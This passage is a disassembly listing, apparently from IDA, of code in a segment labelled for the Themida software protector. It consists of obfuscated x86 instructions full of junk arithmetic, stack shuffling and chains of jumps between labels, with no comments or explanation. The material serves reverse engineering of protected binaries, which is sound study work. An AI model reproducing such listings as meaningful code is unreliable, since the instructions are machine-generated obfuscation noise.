loc_556B8D: ; CODE XREF: Themida_:0055D59Cj
push dx
mov dh, 79h
add ch, dh
jmp loc_555097
; ---------------------------------------------------------------------------
loc_556B98: ; CODE XREF: Themida_:0055C230j
mov edi, 0C442658h
jmp loc_554F18
; ---------------------------------------------------------------------------
loc_556BA2: ; CODE XREF: Themida_:00556E6Bj
add ebp, 7F5316Fh
xor ebp, 756124DEh
add ebp, 1B7D3915h
xor ebp, 6CED26Dh
mov ebx, ebp
jmp loc_555A1B
; ---------------------------------------------------------------------------
loc_556BC1: ; CODE XREF: Themida_:00551DC6j
add esp, 4
xor ecx, [esp]
jmp loc_55AF1A
; ---------------------------------------------------------------------------
loc_556BCF: ; CODE XREF: Themida_:0055D2B8j
mov ecx, 675365E1h
jmp loc_556FD3
; ---------------------------------------------------------------------------
loc_556BD9: ; CODE XREF: Themida_:0055AC8Ej
mov [esp], ecx
mov ecx, 27281F2Ch
add dword ptr [esp+4], 764361C8h
add [esp+4], ecx
sub dword ptr [esp+4], 764361C8h
jmp loc_558B4E
; ---------------------------------------------------------------------------
loc_556BFA: ; CODE XREF: Themida_:0055C6BFj
pop esp
jmp loc_55A320
; ---------------------------------------------------------------------------
loc_556C00: ; CODE XREF: Themida_:0055A407j
sub esp, 4
jmp loc_552800
; ---------------------------------------------------------------------------
loc_556C08: ; CODE XREF: Themida_:0055768Fj
push ecx
jmp loc_553EFA
; ---------------------------------------------------------------------------
loc_556C0E: ; CODE XREF: Themida_:0055638Aj
mov ebx, [esp]
add esp, 4
jmp loc_554452
; ---------------------------------------------------------------------------
loc_556C1C: ; CODE XREF: Themida_:0055B11Bj
push ebp
mov ebp, 3EB8751Ch
jmp loc_55421D
; ---------------------------------------------------------------------------
loc_556C27: ; CODE XREF: Themida_:005526B0j
pop ebx
add eax, 4E576CAh
sub eax, edi
sub eax, 4E576CAh
jmp loc_552BA1
; ---------------------------------------------------------------------------
loc_556C39: ; CODE XREF: Themida_:005582B4j
push 2710h
jmp loc_5527DD
; ---------------------------------------------------------------------------
loc_556C43: ; CODE XREF: Themida_:00553C70j
add esp, 4
push edx
jmp loc_55B14C
; ---------------------------------------------------------------------------
loc_556C4C: ; CODE XREF: Themida_:0055AE11j
add ebx, ebp
pop ebp
inc ebx
and ebx, 5DAB7DA0h
xor ebx, 48B1521h
mov edx, ebx
pop ebx
and eax, edx
push dword ptr [esp]
mov edx, [esp]
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
add eax, 4
jmp loc_551E26
; ---------------------------------------------------------------------------
loc_556C82: ; CODE XREF: Themida_:00553D55j
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556C8E: ; CODE XREF: Themida_:00558B0Fj
push ebp
push ebx
jmp loc_552DC6
; ---------------------------------------------------------------------------
loc_556C95: ; CODE XREF: Themida_:0055BD42j
xor ecx, 6B357119h
jmp loc_551B3E
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6816h
mov [esp], esi
jmp loc_55C2FC
; ---------------------------------------------------------------------------
loc_556CB1: ; CODE XREF: Themida_:0055341Cj
mov edi, 925686A1h
sub edi, esi
jmp loc_557450
; ---------------------------------------------------------------------------
loc_556CBD: ; CODE XREF: Themida_:005593E0j
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
jmp loc_55ACB0
; ---------------------------------------------------------------------------
loc_556CD3: ; CODE XREF: Themida_:0055D790j
mov [esp], ecx
jmp loc_55A271
; ---------------------------------------------------------------------------
loc_556CDB: ; CODE XREF: Themida_:005578A7j
add esp, 4
add esp, 4
add ebx, eax
push eax
mov eax, 38852B86h
add eax, 497E4AE8h
xor eax, 0F93036D6h
jmp loc_55C64E
; ---------------------------------------------------------------------------
loc_556CFB: ; CODE XREF: Themida_:005592FDj
xor ecx, 0E20A80CFh
add eax, offset byte_5D3883
add eax, ecx
sub eax, offset byte_5D3883
pop ecx
push 7341h
mov [esp], ecx
push edi
mov edi, 17ED0650h
mov ecx, 17ED0654h
sub ecx, edi
pop edi
add eax, 73E54625h
add eax, ecx
sub eax, 73E54625h
mov ecx, [esp]
jmp loc_55B656
; ---------------------------------------------------------------------------
loc_556D38: ; CODE XREF: Themida_:0055394Fj
push 0F88h
mov [esp], edi
push 35F93761h
pop edi
push ebx
mov ebx, 3BBF39FBh
shl ebx, 6
jmp loc_55D15E
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_556136
; ---------------------------------------------------------------------------
loc_556D5E: ; CODE XREF: Themida_:0055A6BFj
add ch, 0EBh
xor ch, 0B6h
jmp loc_557C50
; ---------------------------------------------------------------------------
loc_556D69: ; CODE XREF: Themida_:00551F53j
mov esi, 459E4CF9h
neg esi
xor esi, 0BA61B303h
add eax, esi
jmp loc_555832
; ---------------------------------------------------------------------------
loc_556D7D: ; CODE XREF: Themida_:0055D980j
pop ebx
mov eax, ebx
pop ebx
jmp loc_55D349
; ---------------------------------------------------------------------------
loc_556D86: ; CODE XREF: Themida_:0055753Bj
mov [esp], ebp
mov ebp, 7C3320CFh
jmp loc_558FF7
; ---------------------------------------------------------------------------
loc_556D93: ; CODE XREF: Themida_:0055489Fj
mov ch, 0EFh
shr ch, 5
and ch, 42h
push eax
mov al, 28h
add al, 28h
xor al, 0EFh
add al, 79h
add ch, al
jmp loc_557DFE
; ---------------------------------------------------------------------------
loc_556DAB: ; CODE XREF: Themida_:0055CC7Aj
add esp, 4
push eax
mov eax, 2
add ecx, eax
mov eax, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
mov ax, [esp]
push ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
push 42F3h
mov [esp], edx
push 2F5A60FFh
pop edx
push ebp
mov ebp, 20BC4940h
xor ebp, 6F47268Ah
add ebp, 13785532h
jmp loc_5536C5
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55BE5D
; ---------------------------------------------------------------------------
loc_556E01: ; CODE XREF: Themida_:005550A4j
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 2
jmp loc_5563C4
; ---------------------------------------------------------------------------
loc_556E14: ; CODE XREF: Themida_:0055BFA6j
pop eax
push ax
push edx
mov dh, 71h
jmp loc_5542B7
; ---------------------------------------------------------------------------
loc_556E1F: ; CODE XREF: Themida_:0055620Ej
push dword ptr [esp]
pop ebx
push edi
jmp loc_5528DE
; ---------------------------------------------------------------------------
loc_556E29: ; CODE XREF: Themida_:00555F89j
pop esp
mov ecx, [esp]
jmp loc_55A4AD
; ---------------------------------------------------------------------------
loc_556E32: ; CODE XREF: Themida_:005551A3j
xchg esi, [esp]
jmp loc_55BAE8
; ---------------------------------------------------------------------------
loc_556E3A: ; CODE XREF: Themida_:0055D002j
push eax
jmp loc_55AF85
; ---------------------------------------------------------------------------
loc_556E40: ; CODE XREF: Themida_:005585E2j
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_55571A
; ---------------------------------------------------------------------------
loc_556E5E: ; CODE XREF: Themida_:0055870Ej
pop esp
jmp loc_5577EE
; ---------------------------------------------------------------------------
loc_556E64: ; CODE XREF: Themida_:00557541j
sub ebp, 2C9C1175h
inc ebp
jmp loc_556BA2
; ---------------------------------------------------------------------------
loc_556E70: ; CODE XREF: Themida_:005575BBj
pop dword ptr [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556E7F: ; CODE XREF: Themida_:00554339j
push ebp
mov ebp, 70C21683h
inc ebp
not ebp
jmp loc_556541
; ---------------------------------------------------------------------------
loc_556E8D: ; CODE XREF: Themida_:005523FCj
add esp, 4
jmp loc_557793
; ---------------------------------------------------------------------------
loc_556E98: ; CODE XREF: Themida_:00557CBCj
mov edi, esp
push ebx
mov ebx, 526B7508h
not ebx
push eax
push ebx
mov ebx, 617352DDh
not ebx
and ebx, 668135Dh
jmp loc_551C91
; ---------------------------------------------------------------------------
loc_556EB6: ; CODE XREF: Themida_:00559493j
mov [esp], edi
push 5263h
jmp loc_5579B7
; ---------------------------------------------------------------------------
loc_556EC3: ; CODE XREF: Themida_:0055A997j
pop ebp
add ebp, eax
pop eax
push 47B0h
mov [esp], edx
mov edx, 2
sub ebp, edx
jmp loc_55A114
; ---------------------------------------------------------------------------
loc_556EDB: ; CODE XREF: Themida_:00558FD9j
add esp, 4
push ebp
mov ebp, 4
sub ecx, 1AC67AD8h
add ecx, ebp
add ecx, 1AC67AD8h
mov ebp, [esp]
jmp loc_551CD0
; ---------------------------------------------------------------------------
loc_556EFA: ; CODE XREF: Themida_:0055C1E1j
xchg edx, [esp]
pop esp
push dword ptr [esp]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
push edi
mov edi, 3FCA7E7Eh
sub ecx, edi
pop edi
add ecx, 58FB34E3h
add ecx, edi
sub ecx, 58FB34E3h
push edi
mov edi, 3FCA7E7Eh
jmp loc_556800
; ---------------------------------------------------------------------------
loc_556F35: ; CODE XREF: Themida_:0055C1B0j
add eax, ebx
jmp loc_55265B
; ---------------------------------------------------------------------------
loc_556F3C: ; CODE XREF: Themida_:0055AE6Bj
add esi, 4
sub esp, 4
jmp loc_5554FF
; ---------------------------------------------------------------------------
loc_556F4D: ; CODE XREF: Themida_:0055D8B5j
add esp, 4
jmp loc_55C31E
; ---------------------------------------------------------------------------
loc_556F55: ; CODE XREF: Themida_:0055DA04j
inc eax
and eax, 6C870D47h
sub eax, 0BB9D65h
jmp loc_55A0C3
; ---------------------------------------------------------------------------
loc_556F65: ; CODE XREF: Themida_:00557666j
add ecx, 58EF6C16h
jmp loc_55AD1B
; ---------------------------------------------------------------------------
loc_556F70: ; CODE XREF: Themida_:00557726j
mov ecx, [esp]
add esp, 4
jmp loc_55D78A
; ---------------------------------------------------------------------------
loc_556F7E: ; CODE XREF: Themida_:0055A852j
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556F8B: ; CODE XREF: Themida_:00557AFEj
pop eax
jmp loc_5572D9
; ---------------------------------------------------------------------------
loc_556F91: ; CODE XREF: Themida_:0055190Ej
mov dh, ch
pop ecx
add al, dh
pop edx
add al, cl
sub al, 77h
mov cx, [esp]
push ecx
mov ecx, esp
push ebp
jmp loc_558809
; ---------------------------------------------------------------------------
loc_556FA8: ; CODE XREF: Themida_:0055AD16j
add [esp+8], eax
jmp loc_55CD61
; ---------------------------------------------------------------------------
loc_556FB1: ; CODE XREF: Themida_:0055846Dj
mov ebx, [esp]
add esp, 4
jmp loc_557E10
; ---------------------------------------------------------------------------
loc_556FBC: ; CODE XREF: Themida_:0055BFCFj
push ebp
pop eax
jmp loc_55506E
; ---------------------------------------------------------------------------
loc_556FC3: ; CODE XREF: Themida_:00553A10j
mov [esp], esi
push esp
pop esi
jmp loc_55BC33
; ---------------------------------------------------------------------------
loc_556FCD: ; CODE XREF: Themida_:0055606Fj
pop edi
jmp loc_55BDED
; ---------------------------------------------------------------------------
loc_556FD3: ; CODE XREF: Themida_:00556BD4j
xor edi, ecx
pop ecx
push edx
mov edx, 63E14AC8h
jmp loc_55B665
; ---------------------------------------------------------------------------
loc_556FE1: ; CODE XREF: Themida_:0055619Dj
add eax, 49207D0h
jmp loc_557A96
; ---------------------------------------------------------------------------
loc_556FEB: ; CODE XREF: Themida_:0055C353j
xor esi, [esp]
pop esp
mov [esp], edx
push esp
pop edx
push edi
mov edi, 4
add edx, edi
pop edi
add edx, 2
xor edx, [esp]
xor [esp], edx
jmp loc_551974
; ---------------------------------------------------------------------------
loc_55700E: ; CODE XREF: Themida_:0055DB10j
push edx
mov dl, 0C9h
sub dl, 35h
sub bl, 88h
add bl, dl
add bl, 88h
pop edx
jmp loc_55AE3A
; ---------------------------------------------------------------------------
loc_557022: ; CODE XREF: Themida_:0055B39Cj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
mov esi, ebx
push ecx
push esi
mov ecx, [esp]
jmp loc_5573F9
; ---------------------------------------------------------------------------
loc_557038: ; CODE XREF: Themida_:0055DD33j
or eax, 671B4A41h
shl eax, 8
xor eax, 0BF6B5700h
mov edx, eax
mov eax, [esp]
add esp, 4
add edx, ecx
jmp loc_55C606
; ---------------------------------------------------------------------------
loc_557057: ; CODE XREF: Themida_:0055860Ej
pop esp
mov ebx, ebp
pop ebp
mov dword ptr [edx+30h], 0FCF4826Fh
add [edx+30h], ebx
mov ebx, [esp]
push ebx
jmp loc_552809
; ---------------------------------------------------------------------------
loc_55706E: ; CODE XREF: Themida_:00552063j
shr esi, 5
inc esi
jmp loc_55C69B
; ---------------------------------------------------------------------------
loc_557077: ; CODE XREF: Themida_:00555F2Fj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55707C: ; CODE XREF: Themida_:0055950Ej
inc al
jmp loc_556987
; ---------------------------------------------------------------------------
loc_557083: ; CODE XREF: Themida_:00559C26j
push 3B71h
mov [esp], esi
mov esi, esp
push edx
mov edx, 210370FFh
dec edx
dec edx
jmp loc_55AFBB
; ---------------------------------------------------------------------------
loc_55709A: ; CODE XREF: Themida_:0055CECBj
xor [esp], eax
xor eax, [esp]
jmp loc_55D33E
; ---------------------------------------------------------------------------
loc_5570A5: ; CODE XREF: Themida_:0055AFACj
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
div ecx
jmp loc_55B0C8
; ---------------------------------------------------------------------------
loc_5570B9: ; CODE XREF: Themida_:0055BD70j
push eax
mov eax, 2
jmp loc_554009
; ---------------------------------------------------------------------------
loc_5570C4: ; CODE XREF: Themida_:0055D0B4j
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
sub esp, 4
jmp loc_553EF2
; ---------------------------------------------------------------------------
loc_5570E4: ; CODE XREF: Themida_:0055A244j
add ebp, 5100515Eh
pop ebx
mov ecx, 0BF1D9D52h
jmp loc_55D357
; ---------------------------------------------------------------------------
loc_5570F5: ; CODE XREF: Themida_:0055B869j
sub esp, 4
mov [esp], ebp
push esp
jmp loc_553ADF
; ---------------------------------------------------------------------------
loc_557104: ; CODE XREF: Themida_:0055331Aj
mov ecx, eax
pop eax
jmp loc_55379B
; ---------------------------------------------------------------------------
loc_55710C: ; CODE XREF: Themida_:00556238j
xchg edx, [esp]
pop esp
jmp loc_55B236
; ---------------------------------------------------------------------------
loc_557115: ; CODE XREF: Themida_:00551E2Cj
xor eax, [esp]
pop esp
add esp, 4
or edx, eax
shl edx, 1
xor [edi+24h], edx
xor edx, [edi+24h]
jmp loc_55B574
; ---------------------------------------------------------------------------
loc_55712E: ; CODE XREF: Themida_:005580D0j
and ebx, 7E1473B5h
xchg ebp, ebx
dec ebp
xchg ebp, ebx
not ebx
push ecx
mov ecx, 46A4720Ch
sub ecx, 4410439Ah
add ecx, 2B253C0Ch
or ecx, 9D90998h
add ecx, 0CA068A4Eh
xor ebx, ecx
pop ecx
and eax, ebx
jmp loc_55C87F
; ---------------------------------------------------------------------------
loc_557163: ; CODE XREF: Themida_:0055A729j
mov ch, 2Fh
add al, ch
pop cx
add al, bl
push ecx
mov ch, 0B4h
sub ch, 85h
jmp loc_557A78
; ---------------------------------------------------------------------------
push 6684h
mov [esp], ebx
push 1235h
mov [esp], ebp
mov ebp, 3F540CB7h
shl ebp, 3
xor ebp, 0FAA06580h
mov ebx, ebp
jmp loc_55A650
; ---------------------------------------------------------------------------
loc_55719B: ; CODE XREF: Themida_:00558804j
push edx
mov edx, 650914EAh
sub eax, edx
pop edx
add eax, 2D48513Eh
jmp loc_5549C2
; ---------------------------------------------------------------------------
loc_5571AE: ; CODE XREF: Themida_:00557582j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5571BD: ; CODE XREF: Themida_:0055A1B5j
pop edi
jmp loc_55322C
; ---------------------------------------------------------------------------
loc_5571C3: ; CODE XREF: Themida_:0055B660j
mov edi, 0DC34387h
sub [esp+4], edi
push dword ptr [esp]
pop edi
jmp loc_5523CD
; ---------------------------------------------------------------------------
loc_5571D5: ; CODE XREF: Themida_:005572AFj
add edi, 94F5A614h
and edx, edi
jmp loc_55AB1D
; ---------------------------------------------------------------------------
loc_5571E2: ; CODE XREF: Themida_:00555C83j
sub ebp, edi
pop edi
add ebp, 196694Dh
sub ebp, 2641BC7h
add ebp, 0CE01D9F9h
xor esi, ebp
pop ebp
add esi, 1A0F45F3h
xor esi, 0BC73DCB0h
add edx, esi
jmp loc_55512D
; ---------------------------------------------------------------------------
loc_55720D: ; CODE XREF: Themida_:0055A7C9j
push ebx
mov ebx, 2C760B65h
shr ebx, 7
shl ebx, 4
push eax
mov eax, 6528097Eh
and ebx, eax
pop eax
add ebx, 0FAF7FEA4h
add eax, ebx
pop ebx
push edx
mov edx, 46EE5D50h
push edi
mov edi, 557E12B3h
sub edx, edi
pop edi
jmp loc_554EBC
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push 1770h
mov [esp], esp
jmp loc_5539BA
; ---------------------------------------------------------------------------
loc_557251: ; CODE XREF: Themida_:005526F9j
add bp, 1D31h
pop bx
push dx
jmp loc_553BA7
; ---------------------------------------------------------------------------
loc_55725F: ; CODE XREF: Themida_:00551AD8j
push ebx
mov bl, 0CDh
add bl, 1
sub bl, 0E2h
sub bl, 58h
shr bl, 2
shl bl, 5
xor bl, 0A9h
and dh, bl
pop ebx
sub dh, 0C7h
neg dh
xor dh, 3Bh
push eax
jmp loc_55D604
; ---------------------------------------------------------------------------
loc_557285: ; CODE XREF: Themida_:0055819Aj
push eax
mov eax, 3245319Dh
push ebp
push 7FE252EAh
pop ebp
xor eax, ebp
pop ebp
inc eax
push 0
sub [esp], eax
pop eax
shr eax, 5
sub eax, 0FFFFFFFFh
jmp loc_55335E
; ---------------------------------------------------------------------------
loc_5572AC: ; CODE XREF: Themida_:0055A2F0j
dec edi
neg edi
jmp loc_5571D5
; ---------------------------------------------------------------------------
loc_5572B4: ; CODE XREF: Themida_:00552629j
mov ebp, [esp]
add esp, 4
sub ebp, ecx
pop ecx
xor esi, ebp
pop ebp
sub [edi+24h], esi
jmp loc_5540C3
; ---------------------------------------------------------------------------
loc_5572C8: ; CODE XREF: Themida_:00555202j
mov eax, [esp]
add esp, 4
add edx, 2
jmp loc_551B55
; ---------------------------------------------------------------------------
loc_5572D9: ; CODE XREF: Themida_:00556F8Cj
add ebp, 4
jmp loc_55A9D7
; ---------------------------------------------------------------------------
loc_5572E4: ; CODE XREF: Themida_:0055D6A1j
add ebp, edx
jmp loc_5546AE
; ---------------------------------------------------------------------------
loc_5572EB: ; CODE XREF: Themida_:00557378j
push eax
mov al, cl
mov dl, al
pop eax
pop ecx
add bh, dl
pop edx
add al, bh
pop ebx
add al, cl
sub al, 7Eh
mov cx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
jmp loc_55C259
; ---------------------------------------------------------------------------
loc_557317: ; CODE XREF: Themida_:00554BE7j
push edi
jmp loc_559F41
; ---------------------------------------------------------------------------
loc_55731D: ; CODE XREF: Themida_:00557887j
sub esp, 4
mov [esp], edx
mov edx, 3CBB7A15h
sub eax, edx
mov edx, [esp]
add esp, 4
push ebp
sub esp, 4
mov [esp], eax
mov eax, 1D6F171Bh
push edi
mov edi, 0A3559h
push edx
mov edx, 14A49174h
add edi, edx
pop edx
add eax, 1E4129B5h
sub eax, edi
jmp loc_55CE37
; ---------------------------------------------------------------------------
loc_55735A: ; CODE XREF: Themida_:00557CC6j
mov ebx, 1304187Dh
jmp loc_558B27
; ---------------------------------------------------------------------------
loc_557364: ; CODE XREF: Themida_:00557F59j
mov bh, 70h
not bh
xchg dh, bh
not dh
xchg dh, bh
sub bh, 0FFh
shr bh, 7
push edx
push ecx
mov cl, 7Eh
jmp loc_5572EB
; ---------------------------------------------------------------------------
loc_55737D: ; CODE XREF: Themida_:00557845j
dec ecx
dec ecx
xor ecx, 162D5FDBh
sub esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 41503954h
add esi, eax
push eax
mov eax, 4A60425Ah
jmp loc_55AD37
; ---------------------------------------------------------------------------
loc_5573A0: ; CODE XREF: Themida_:0055D4E7j
mov ebx, 5D440667h
jmp loc_557486
; ---------------------------------------------------------------------------
loc_5573AA: ; CODE XREF: Themida_:005558E2j
push esi
mov esi, 512E2C06h
shr esi, 4
sub esi, 76BD592Fh
xor esi, 136660E1h
jmp loc_55C9FA
; ---------------------------------------------------------------------------
loc_5573C4: ; CODE XREF: Themida_:005562D9j
push esi
mov esi, 17DA3070h
add esi, 2D6DE768h
sub edx, 8AC2EC5h
sub edx, 6D183B8Eh
sub edx, esi
add edx, 6D183B8Eh
jmp loc_557BEC
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5573F9: ; CODE XREF: Themida_:00557033j
add esp, 4
mov edx, ecx
pop ecx
pop esi
pop ebx
loc_557404: ; CODE XREF: Themida_:00552516j
; Themida_:005589C5j
push 1CA0h
mov [esp], ecx
jmp loc_55C6DF
; ---------------------------------------------------------------------------
loc_557411: ; CODE XREF: Themida_:0055AF9Dj
push ebx
jmp loc_557E5D
; ---------------------------------------------------------------------------
loc_557417: ; CODE XREF: Themida_:00556179j
push dword ptr [esp]
jmp loc_5535FA
; ---------------------------------------------------------------------------
loc_55741F: ; CODE XREF: Themida_:00554465j
push edx
mov edx, esp
push 1034h
mov [esp], eax
jmp loc_55BC97
; ---------------------------------------------------------------------------
loc_55742F: ; CODE XREF: Themida_:005569BEj
sub edx, 6CD81F9Bh
sub edx, edi
jmp loc_5589D1
; ---------------------------------------------------------------------------
loc_55743C: ; CODE XREF: Themida_:005594F0j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push ebp
mov ebp, 0C15144Eh
jmp loc_55AE8D
; ---------------------------------------------------------------------------
loc_557450: ; CODE XREF: Themida_:00556CB8j
pop esi
sub edi, 508C4A63h
mov esi, edi
pop edi
or edx, esi
pop esi
or edx, 77221D24h
xor edx, 6D0D1ABAh
push edi
mov edi, edx
mov ebp, edi
pop edi
jmp loc_55252E
; ---------------------------------------------------------------------------
loc_557474: ; CODE XREF: Themida_:0055BC6Fj
push 6FB2h
mov [esp], ebp
push esp
push dword ptr [esp]
pop ebp
jmp loc_5540E0
; ---------------------------------------------------------------------------
loc_557486: ; CODE XREF: Themida_:005573A5j
push ebx
push ebx
mov ebx, 10C826CDh
sub [esp+4], ebx
pop ebx
pop ebp
add ebp, 10C826CDh
push dword ptr [esp]
pop ebx
jmp loc_55AC5E
; ---------------------------------------------------------------------------
loc_5574A2: ; CODE XREF: Themida_:005576BDj
mov edx, [esp]
add esp, 4
add bl, 29h
push edx
mov dh, 8Bh
not dh
jmp loc_552ECB
; ---------------------------------------------------------------------------
loc_5574B5: ; CODE XREF: Themida_:00556779j
xor eax, edi
push esi
sub esp, 4
mov [esp], edx
mov edx, 4BF51B3Fh
neg edx
neg edx
jmp loc_55CF6E
; ---------------------------------------------------------------------------
loc_5574CF: ; CODE XREF: Themida_:00552784j
add ebx, 4
xchg ebx, [esp]
pop esp
xor al, cl
mov cx, [esp]
push 24DDh
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
push 184Ch
mov [esp], edx
mov dl, 0CDh
jmp loc_558F48
; ---------------------------------------------------------------------------
loc_557512: ; CODE XREF: Themida_:0055A98Dj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub ah, 90h
jmp loc_55A6A6
; ---------------------------------------------------------------------------
loc_557529: ; CODE XREF: Themida_:0055927Bj
pop ebp
add esi, eax
sub esi, 3EC64EF1h
sub esi, 2D5E4A7Dh
sub esp, 4
jmp loc_556D86
; ---------------------------------------------------------------------------
loc_557540: ; CODE XREF: Themida_:00559EF9j
pop esi
jmp loc_556E64
; ---------------------------------------------------------------------------
loc_557546: ; CODE XREF: Themida_:00553462j
push esi
mov esi, 7B8D2ADDh
jmp loc_551E0B
; ---------------------------------------------------------------------------
loc_557551: ; CODE XREF: Themida_:0055A24Ej
xchg ebp, ebx
add ebx, 69D13BA1h
sub ebx, 3D7C14B6h
sub eax, ebx
pop ebx
jmp loc_5546F3
; ---------------------------------------------------------------------------
loc_557567: ; CODE XREF: Themida_:0055958Ej
sub edi, 44B0407Ch
mov esi, edi
pop edi
add eax, esi
pop esi
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5571AE
; ---------------------------------------------------------------------------
loc_557587: ; CODE XREF: Themida_:00555E2Aj
shr ebp, 3
sub ebp, 92CE659Fh
mov esi, ebp
pop ebp
push ebx
mov ebx, 7A04694Ch
push ecx
mov ecx, 1BE91D53h
or ebx, ecx
jmp loc_5518C2
; ---------------------------------------------------------------------------
loc_5575A6: ; CODE XREF: Themida_:00559529j
or ebp, 35903FA8h
xor ebp, 35983FAEh
add esi, ebp
pop ebp
push esi
push dword ptr [esp+4]
pop esi
jmp loc_556E70
; ---------------------------------------------------------------------------
loc_5575C0: ; CODE XREF: Themida_:0055B731j
add edx, 5DDA23E1h
mov edi, [esp]
push ebx
jmp loc_556B7A
; ---------------------------------------------------------------------------
loc_5575CF: ; CODE XREF: Themida_:005595EEj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
push ecx
jmp loc_55BEC0
; ---------------------------------------------------------------------------
loc_5575F7: ; CODE XREF: Themida_:00555FA9j
pop esi
push 737Fh
mov [esp], ebp
push ecx
mov ecx, 39883107h
jmp loc_559864
; ---------------------------------------------------------------------------
loc_55760B: ; CODE XREF: Themida_:0055B57Ej
push ecx
mov ecx, 388A33EEh
neg ecx
jmp loc_559E01
; ---------------------------------------------------------------------------
loc_557618: ; CODE XREF: Themida_:005548ECj
mov [esp], edx
mov edx, esp
add edx, 4
push eax
push ebp
mov ebp, 75C925D9h
mov eax, ebp
jmp loc_5582FD
; ---------------------------------------------------------------------------
loc_557631: ; CODE XREF: Themida_:005587A4j
mov eax, esp
push edi
jmp loc_55DD6B
; ---------------------------------------------------------------------------
loc_557639: ; CODE XREF: Themida_:0055CC38j
push ecx
mov ecx, 89A7DDBh
jmp loc_5535AB
; ---------------------------------------------------------------------------
loc_557644: ; CODE XREF: Themida_:00557E49j
push ebx
push ecx
mov ecx, 7B772387h
mov ebx, 668C5C45h
xor ebx, ecx
jmp loc_55CE82
; ---------------------------------------------------------------------------
loc_557657: ; CODE XREF: Themida_:00553A7Aj
push edx
mov edx, 69482AAEh
push edx
sub dword ptr [esp], 58EF6C16h
pop ecx
jmp loc_556F65
; ---------------------------------------------------------------------------
loc_55766B: ; CODE XREF: Themida_:0055459Bj
pop ecx
jmp loc_55ADE0
; ---------------------------------------------------------------------------
loc_557671: ; CODE XREF: Themida_:00555DD9j
push eax
jmp loc_557EEA
; ---------------------------------------------------------------------------
loc_557677: ; CODE XREF: Themida_:005537C3j
push esp
mov esi, [esp]
add esp, 4
add esi, 4
push 49E7h
mov [esp], eax
jmp loc_556C08
; ---------------------------------------------------------------------------
loc_557694: ; CODE XREF: Themida_:00558034j
neg esi
add esi, 3C9F0C75h
add ebx, esi
mov esi, [esp]
add esp, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_556225
; ---------------------------------------------------------------------------
loc_5576B5: ; CODE XREF: Themida_:005523B3j
add bl, 0E3h
sub bl, dl
sub bl, 0E3h
jmp loc_5574A2
; ---------------------------------------------------------------------------
loc_5576C2: ; CODE XREF: Themida_:0055383Cj
push eax
jmp loc_554AE3
; ---------------------------------------------------------------------------
loc_5576C8: ; CODE XREF: Themida_:005567C7j
mov [esp], eax
push ebx
push edx
mov edx, 6CC02A98h
not edx
xor edx, 56FD0231h
jmp loc_55B184
; ---------------------------------------------------------------------------
loc_5576DF: ; CODE XREF: Themida_:0055283Bj
add [esp+4], esi
pop esi
pop ebp
add ebp, 4
jmp loc_551E45
; ---------------------------------------------------------------------------
loc_5576F0: ; CODE XREF: Themida_:0055B0DDj
add ecx, 0D45534Ah
add ecx, 26977663h
jmp loc_5554DD
; ---------------------------------------------------------------------------
loc_557701: ; CODE XREF: Themida_:005583C7j
sub esi, 8056DF3Eh
jmp loc_55B9D5
; ---------------------------------------------------------------------------
loc_55770C: ; CODE XREF: Themida_:005596C4j
mov [esp], ecx
push ebx
mov bl, 52h
mov ch, 0B5h
jmp loc_5565A5
; ---------------------------------------------------------------------------
loc_557719: ; CODE XREF: Themida_:00554E61j
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_557724: ; CODE XREF: Themida_:00558C9Dj
sub al, cl
jmp loc_556F70
; ---------------------------------------------------------------------------
loc_55772B: ; CODE XREF: Themida_:0055BDE8j
add esp, 4
push ebx
jmp loc_551D98
; ---------------------------------------------------------------------------
loc_557737: ; CODE XREF: Themida_:00558255j
xchg eax, [esp]
jmp loc_557B72
; ---------------------------------------------------------------------------
loc_55773F: ; CODE XREF: Themida_:0055868Aj
dec ebx
dec ebx
inc ebx
jmp loc_55A571
; ---------------------------------------------------------------------------
loc_557747: ; CODE XREF: Themida_:00559817j
pop ebp
push edx
jmp loc_55825A
; ---------------------------------------------------------------------------
loc_55774E: ; CODE XREF: Themida_:00557FD7j
xchg edi, edx
pop edi
inc edx
sub esp, 4
